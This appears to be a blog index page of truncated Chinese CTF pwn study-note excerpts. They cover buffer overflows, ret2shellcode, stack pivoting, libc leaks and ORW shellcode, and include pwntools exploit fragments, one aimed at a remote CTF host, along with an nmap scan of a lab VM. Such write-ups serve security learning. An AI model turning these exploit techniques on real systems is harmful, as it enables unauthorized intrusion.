NSSCTF_pwn_刷题笔记page
NSSCTF_pwn_刷题笔记page(1) [SWPUCTF 2021 新生赛]gift_pwn from pwn import * io = remote('node4.anna.nssctf.cn',28991) padding = 16+8 shell = 0x4005B6 payload = b'A'*padding+p64(shell) io.sendline(payloa...
NSSCTF_pwn_刷题笔记page(1) [SWPUCTF 2021 新生赛]gift_pwn from pwn import * io = remote('node4.anna.nssctf.cn',28991) padding = 16+8 shell = 0x4005B6 payload = b'A'*padding+p64(shell) io.sendline(payloa...
主机发现 192.168.30.133 信息收集 └─$ nmap -sV -A 192.168.30.133 Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-22 03:26 EST Nmap scan report for 192.168.30.133 Host is up (0.0013s latency). Not sho...
Canary 保护 程序控制流 64位libc泄露 bamuwe@bamuwe:~/done/others_babystack$ checksec babystack [*] '/home/bamuwe/done/others_babystack/babystack' Arch: amd64-64-little RELRO: Full RELRO ...
bamuwe@bamuwe:~$ file quasar quasar: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=00a219f57c37379e9a7d16a82edc...
bss bamuwe@qianenzhao:~$ checksec start [*] '/home/bamuwe/start' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE...
shellcraft方法的使用 逻辑很简单,shellcode存在于.bss段上,写入shellcode,执行shellcode orw_seccomp对系统调用的函数做了限制,只能使用sys_open,sys_read,sys_write所以我们利用这三个函数直接读取flag 一种方法是手写汇编,然后通过asm()函数转换,难度比较大,另外一种就是我利用的这...
ret2shellcode 存在漏洞函数vulnerable_function printf函数泄露了buf栈上地址 read函数中,buf变量中存在溢出 往buf写入shellcode再跳转到buf栈上 from pwn import * io = process('./level1') io.recvuntil(b'What\'s this:') buf_ad...
存在漏洞函数,s变量存在溢出,但是长度不够,考虑栈迁移 通过溢出打印(动态调试也可以)ebp栈上地址,计算得出s的地址,栈迁移到s的位置上 向s中写入payload得到shell 计算得到偏移量为0x38 from pwn import * context.log_level = 'debug' elf = ELF('./ciscn_s_4') io = process('...
32位泄露了ibc main函数中输入 vuln函数中存在溢出漏洞 非常常规的泄露libc,直接上代码 from pwn import * elf = ELF('./bof') Lib = ELF('/lib/i386-linux-gnu/libc.so.6') io = process('./bof') padding = b'A'*112 payload1 =...
ret2libc1 32位libc泄露 cyclic确定溢出位置的使用 变量s存在泄露,但是这里ida显示的栈空间并不准确 程序中存在system函数,可以直接利用 bamuwe@qianenzhao:~/done/杂七杂八$ cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama...